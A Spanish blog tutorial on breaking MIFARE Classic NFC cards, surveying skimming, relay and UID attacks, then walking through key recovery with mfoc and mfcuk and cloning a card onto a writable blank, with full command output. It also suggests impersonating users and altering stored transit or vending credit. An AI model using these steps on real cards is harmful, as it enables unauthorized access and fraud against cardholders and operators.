rompiendo nfc

nfc overview

La tecnología contactless (nfc) de las smartcard se ha extendido en los últimos años. Actualmente se usa para autorizar accesos físicos como llave para puertas ya sea en hoteles como en empresas, en transportes públicos, en gimnasios para identificarnos en los equipos de entrenamiento, tarjetas de crédito o el mismo DNI electrónico, entre otros.

Esta tecnología es muy versátil y ofrece infinidad de facilidades para su implementación, pero este no será el objeto del análisis de este post. Nos centraremos básicamente en alguna de sus implementaciones más extendidas y los posibles ataques a los que son susceptibles.

Las smartcards están disponibles en distintos medios físicos, tarjetas, adhesivos, pulseras, llaveros, etc … actualmente también es posible prescindir del medio físico y emularlas con el teléfono móvil.

Indistintamente del medio, generalizando, la parte que para las pruebas que vamos a realizar nos interesa, es entender cómo se almacenan los datos, cómo leerlos y modificarlos.

MiFare Layout

Como se muestra en la imagen el sector 0 es donde se almacena el UID (teóricamente no modificable). El resto de sectores es donde podemos almacenar datos, entre 1K y 4K.

Se puede obtener información más detallada en la wiki MIFARE de donde he obtenido la imagen anterior.

Implementaciones

Hay distintos métodos de implementación, uno de los más extendidos en el uso del UID de la tarjeta como identificador, dejando la lógica del sistema al backoffice.

Sin entrar al detalle, podemos decir que este modo puede tener algunas ventajas, ya que con el compromiso de la tarjeta no se vulnera en ningún caso la información del usuario ni de nuestros sistemas de gestión, lo que facilita el cumplimento de la GDPR.

La principal desventaja es que este tipo de tarjetas son muy fáciles de clonar, como explicaremos mas adelante. Aunque no en todos los casos el clonado de la tarjeta suponga el compromiso del sistema.

Otro método de implementación es el de usar los sectores de la tarjeta para almacenar información que pueda ser usada por nuestros sistemas. Este método es usado, por ejemplo, por sistemas de vending o de transporte público y en ellos se suele guardar el crédito o número de viajes de que dispone la tarjeta.

Material necesario

El material necesario es, un lector NFC que puede ser de dos tipos, los basados en PN532 que usan las librerías libnfc o equipos más sofisticados como proxmark, que nos permitirán bastantes más opciones. Ambos de un precio accesible si obtenemos las versiones no oficiales chinas que son funcionales para nuestro propósito, investigar y aprender.

Lector NFC ACR122   Proxmark3

Ataques conocidos

UID brute force: Tiene sentido en algunas ocasiones, cuando por el tipo de tarjetas empleadas el UID es consecutivo por lo que, en el momento en el que consigamos obtener uno, lo podremos modificar para cambiar de usuario.

Decodificación del número: Es habitual que la tarjeta tenga un código impreso en ella, en algunas ocasiones puede que este se haya obtenido a partir del UID, por lo que podríamos decodificarlo fácilmente.
En un conocido servicio de sharing de bicicletas, por ejemplo, el uid es en número de la tarjeta en hexadecimal invertido.

Relay Attack: En este ataque se utiliza un equipo que realizará la lectura de la tarjeta de forma fraudulenta y posteriormente realizará la operación verídica, esto hace que la víctima no se percate de la copia de los datos de su tarjeta.

Skimming: Se conoce como skimming la técnica de realizar una copia de la tarjeta sin autorización.
Las tarjetas actuales permiten lecturas a unos 10 cm llegando a los 25 cm con el uso de antenas y los equipos para realizar la copia son rápidos y portables, lo que facilita dicha técnica.
skimming

No es el objetivo del post realizar todos y cada uno de los ataques anteriormente detallados. En esta ocasión nos centraremos en la clonación.

Clonacion

Para trabajar con las tarjetas deberemos instalar el software nfc-mfclassic disponible en la mayoría de repositorios Linux.
Tendremos que instalar también algunas de las herramientas disponibles en nfc-tools como mfoc, mfcuk y libnfc. Existen distintas versiones de cada uno de ellos que nos pueden ser de utilidad para solucionar algunos errores.

Lo primero que podemos hacer es verificar que debemos leer la tarjeta correctamente

1
2
3
4
5
6
7
~:$ nfc-list
nfc-list uses libnfc 1.5.1 (r1175)
Connected to NFC device: SCM Micro / SCL3711-NFC&RW - PN533 v2.7 (0x07)
1 ISO14443A passive target(s) found:
ATQA (SENS_RES): 00 04
UID (NFCID1): 00 00 00 00
SAK (SEL_RES): 08

Podemos ejecutar mfoc para realizar el volcado de la tarjeta. En el caso de que obtengamos un resultado como el siguiente es que se ha aplicado una clave a uno de los sectores.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
~:$ mfoc -P 500 -O cardtocopy.dmp
Found Mifare Classic 1k tag
ISO/IEC 14443A (106 kbps) target:
ATQA (SENS_RES): 00 04
* UID size: single
* bit frame anticollision supported
UID (NFCID1): 37 fa 4d 64
SAK (SEL_RES): 08
* Not compliant with ISO/IEC 14443-4
* Not compliant with ISO/IEC 18092

Fingerprinting based on MIFARE type Identification Procedure:
* MIFARE Classic 1K
* MIFARE Plus (4 Byte UID or 4 Byte RID) 2K, Security level 1
* SmartMX with MIFARE 1K emulation
Other possible matches based on ATQA & SAK values:

Try to authenticate to all sectors with default keys...
Symbols: '.' no key found, '/' A key found, '\' B key found, 'x' both keys found
[Key: ffffffffffff] -> [x\xxxxxxxxxxxxxx]
[Key: a0a1a2a3a4a5] -> [x\xxxxxxxxxxxxxx]
[Key: d3f7d3f7d3f7] -> [x\xxxxxxxxxxxxxx]
[Key: 000000000000] -> [x\xxxxxxxxxxxxxx]
[Key: b0b1b2b3b4b5] -> [x\xxxxxxxxxxxxxx]
[Key: 4d3a99c351dd] -> [x\xxxxxxxxxxxxxx]
[Key: 1a982c7e459a] -> [x\xxxxxxxxxxxxxx]
[Key: aabbccddeeff] -> [x\xxxxxxxxxxxxxx]
[Key: 714c5c886e97] -> [x\xxxxxxxxxxxxxx]
[Key: 587ee5f9350f] -> [x\xxxxxxxxxxxxxx]
[Key: a0478cc39091] -> [x\xxxxxxxxxxxxxx]
[Key: 533cb6c723f6] -> [x\xxxxxxxxxxxxxx]
[Key: 8fd0a4f256e9] -> [x\xxxxxxxxxxxxxx]

Sector 00 - Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 01 - Unknown Key A Found Key B: ffffffffffff
Sector 02 - Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 03 - Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 04 - Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 05 - Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 06 - Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 07 - Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 08 - Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 09 - Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 10 - Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 11 - Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 12 - Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 13 - Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 14 - Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 15 - Found Key A: ffffffffffff Found Key B: ffffffffffff

En este caso es posible probar de recuperar las claves con mfcuk, en mi caso la versión que mejor me ha funcionado, aunque en ocasiones arroja falsos positivos, es el fork que se puede descargar de mfcuk.
Dependiendo de la tarjeta se pueden usar los flags -s 250 y -S 250 para mejorar los resultados.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
~:$ mfcuk -C -R 0:A -w6
mfcuk - 0.3.8
Mifare Classic DarkSide Key Recovery Tool - 0.3
by Andrei Costin, [email protected], http://andreicostin.com

TRESHOLD: 6

INFO: Connected to NFC reader: ACS / ACR122U PICC Interface


VERIFY:
Key A sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f
Key B sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f

RECOVER: 0
INFO: block 3 recovered KEY: ffffff3fdcd4

Una vez obtenidas las claves las podemos usar con mfoc para crear el fichero con todos los datos de la tarjeta.

1
~:$ mfoc -P 500 -k ffffff3fdcd4 -O cardtocopy.dmp

Tendremos que realizar también un dump de la tarjeta china antes de realizar el clonado.

1
~:$ mfoc -P 500 -O blank-chinese.dmp

Y para finalizar realizamos el clonado.

1
~:$ nfc-mfclassic w b cardtocopy.dmp blank-chinese.dmp

o

1
~:$ nfc-mfclassic w a cardtocopy.dmp blank-chinese.dmp

Leyendo los datos

Uno de los métodos de leer la información del fichero obtenido es con hexdump, con la opcion -C canonical para ver la representación ASCII al lado de los valores hexadecimales.

Es posible modificar los datos con un editor hexadecimal.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
~:$ hexdump -C test-data-enc.mdf 
00000000 37 fa 4d 64 e4 08 04 00 01 41 a8 0d 17 14 2a 1d |7.Md.....A....*.|
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000030 ff ff ff ff ff ff ff 07 80 69 ff ff ff ff ff ff |.........i......|
00000040 00 00 03 15 d1 01 11 54 02 65 6e 68 65 72 65 20 |.......T.enhere |
00000050 79 6f 75 72 20 64 61 74 61 fe 00 00 00 00 00 00 |your data.......|
00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000070 27 ae e0 a2 91 aa ff 07 80 69 ff ff ff ff ff ff |'........i......|
00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
000000b0 ff ff ff ff ff ff ff 07 80 69 ff ff ff ff ff ff |.........i......|
000000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
000000f0 ff ff ff ff ff ff ff 07 80 69 ff ff ff ff ff ff |.........i......|
00000100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000130 ff ff ff ff ff ff ff 07 80 69 ff ff ff ff ff ff |.........i......|
00000140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000170 ff ff ff ff ff ff ff 07 80 69 ff ff ff ff ff ff |.........i......|
00000180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
000001b0 ff ff ff ff ff ff ff 07 80 69 ff ff ff ff ff ff |.........i......|
000001c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
000001f0 ff ff ff ff ff ff ff 07 80 69 ff ff ff ff ff ff |.........i......|
00000200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000230 ff ff ff ff ff ff ff 07 80 69 ff ff ff ff ff ff |.........i......|
00000240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000270 ff ff ff ff ff ff ff 07 80 69 ff ff ff ff ff ff |.........i......|
00000280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
000002b0 ff ff ff ff ff ff ff 07 80 69 ff ff ff ff ff ff |.........i......|
000002c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
000002f0 ff ff ff ff ff ff ff 07 80 69 ff ff ff ff ff ff |.........i......|
00000300 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000330 ff ff ff ff ff ff ff 07 80 69 ff ff ff ff ff ff |.........i......|
00000340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000370 ff ff ff ff ff ff ff 07 80 69 ff ff ff ff ff ff |.........i......|
00000380 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
000003b0 ff ff ff ff ff ff ff 07 80 69 ff ff ff ff ff ff |.........i......|
000003c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
000003f0 ff ff ff ff ff ff ff 07 80 69 ff ff ff ff ff ff |.........i......|
00000400

Existe también una herramienta que podemos obtener de Github llamada mfdread que nos ofrece una vista muy interesante de la información del fichero obtenido.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
~:$ python3 mfdread.py test-data-enc.mdf 
File size: 1024 bytes. Expected 16 sectors

UID: 37fa4d64
BCC: e4
SAK: 08
ATQA: 04
Key A Access Bits Key B
╔═════════╦═══════╦══════════════════════════════════╦════════╦═════════════════════════════════════╗
║ Sector ║ Block ║ Data ║ Access ║ A | Acc. | B ║
║ ║ ║ ║ ║ r w | r w | r w [info] ║
║ ║ ║ ║ ║ r | w | i | d/t/r ║
╠═════════╬═══════╬══════════════════════════════════╬════════╬═════════════════════════════════════╣
║ ║ 0 ║ 37fa4d64e40804000141a80d17142a1d ║ 000 ║ - ║
║ ║ 1 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ 0 ║ 2 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ ║ 3 ║ ffffffffffffff078069ffffffffffff ║ 001 ║ - A | A A | A A [transport] ║
╠═════════╬═══════╬══════════════════════════════════╬════════╬═════════════════════════════════════╣
║ ║ 4 ║ 00000315d101115402656e6865726520 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ ║ 5 ║ 796f75722064617461fe000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ 1 ║ 6 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ ║ 7 ║ 27aee0a291aaff078069ffffffffffff ║ 001 ║ - A | A A | A A [transport] ║
╠═════════╬═══════╬══════════════════════════════════╬════════╬═════════════════════════════════════╣
║ ║ 8 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ ║ 9 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ 2 ║ 10 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ ║ 11 ║ ffffffffffffff078069ffffffffffff ║ 001 ║ - A | A A | A A [transport] ║
╠═════════╬═══════╬══════════════════════════════════╬════════╬═════════════════════════════════════╣
║ ║ 12 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ ║ 13 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ 3 ║ 14 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ ║ 15 ║ ffffffffffffff078069ffffffffffff ║ 001 ║ - A | A A | A A [transport] ║
╠═════════╬═══════╬══════════════════════════════════╬════════╬═════════════════════════════════════╣
║ ║ 16 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ ║ 17 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ 4 ║ 18 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ ║ 19 ║ ffffffffffffff078069ffffffffffff ║ 001 ║ - A | A A | A A [transport] ║
╠═════════╬═══════╬══════════════════════════════════╬════════╬═════════════════════════════════════╣
║ ║ 20 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ ║ 21 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ 5 ║ 22 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ ║ 23 ║ ffffffffffffff078069ffffffffffff ║ 001 ║ - A | A A | A A [transport] ║
╠═════════╬═══════╬══════════════════════════════════╬════════╬═════════════════════════════════════╣
║ ║ 24 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ ║ 25 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ 6 ║ 26 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ ║ 27 ║ ffffffffffffff078069ffffffffffff ║ 001 ║ - A | A A | A A [transport] ║
╠═════════╬═══════╬══════════════════════════════════╬════════╬═════════════════════════════════════╣
║ ║ 28 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ ║ 29 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ 7 ║ 30 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ ║ 31 ║ ffffffffffffff078069ffffffffffff ║ 001 ║ - A | A A | A A [transport] ║
╠═════════╬═══════╬══════════════════════════════════╬════════╬═════════════════════════════════════╣
║ ║ 32 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ ║ 33 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ 8 ║ 34 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ ║ 35 ║ ffffffffffffff078069ffffffffffff ║ 001 ║ - A | A A | A A [transport] ║
╠═════════╬═══════╬══════════════════════════════════╬════════╬═════════════════════════════════════╣
║ ║ 36 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ ║ 37 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ 9 ║ 38 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ ║ 39 ║ ffffffffffffff078069ffffffffffff ║ 001 ║ - A | A A | A A [transport] ║
╠═════════╬═══════╬══════════════════════════════════╬════════╬═════════════════════════════════════╣
║ ║ 40 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ ║ 41 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ 10 ║ 42 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ ║ 43 ║ ffffffffffffff078069ffffffffffff ║ 001 ║ - A | A A | A A [transport] ║
╠═════════╬═══════╬══════════════════════════════════╬════════╬═════════════════════════════════════╣
║ ║ 44 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ ║ 45 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ 11 ║ 46 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ ║ 47 ║ ffffffffffffff078069ffffffffffff ║ 001 ║ - A | A A | A A [transport] ║
╠═════════╬═══════╬══════════════════════════════════╬════════╬═════════════════════════════════════╣
║ ║ 48 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ ║ 49 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ 12 ║ 50 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ ║ 51 ║ ffffffffffffff078069ffffffffffff ║ 001 ║ - A | A A | A A [transport] ║
╠═════════╬═══════╬══════════════════════════════════╬════════╬═════════════════════════════════════╣
║ ║ 52 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ ║ 53 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ 13 ║ 54 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ ║ 55 ║ ffffffffffffff078069ffffffffffff ║ 001 ║ - A | A A | A A [transport] ║
╠═════════╬═══════╬══════════════════════════════════╬════════╬═════════════════════════════════════╣
║ ║ 56 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ ║ 57 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ 14 ║ 58 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ ║ 59 ║ ffffffffffffff078069ffffffffffff ║ 001 ║ - A | A A | A A [transport] ║
╠═════════╬═══════╬══════════════════════════════════╬════════╬═════════════════════════════════════╣
║ ║ 60 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ ║ 61 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ 15 ║ 62 ║ 00000000000000000000000000000000 ║ 000 ║ A/B | A/B | A/B | A/B [transport] ║
║ ║ 63 ║ ffffffffffffff078069ffffffffffff ║ 001 ║ - A | A A | A A [transport] ║
╚═════════╩═══════╩══════════════════════════════════╩════════╩═════════════════════════════════════╝

Cuando el único valor es el UID podemos suplantar a un usuario lícito, dependiendo del tipo de tarjeta podemos intentar modificarlo y verificar si los UID son consecutivos teniendo en cuenta que hay que calcular el BBCC para que podamos grabar la nueva tarjeta.
Para ello necesitaremos una tarjeta china que nos permita realizar dicha operación y obtener un UID valido, de lo que hablaremos más adelante.

Si la tarjeta usa los datos almacenados para su funcionamiento como pueda ser un sistema de vending o una tarjeta de transporte, podemos probar también modificarlos, aunque en estos casos se suele aplicar una capa de cifrado o ofuscación para proteger el dato.

Hasta aquí el post de hoy. Espero haya sido de vuestro interés.
No dudéis en contactar mediante el formulario para hacerme llegar vuestros comentarios.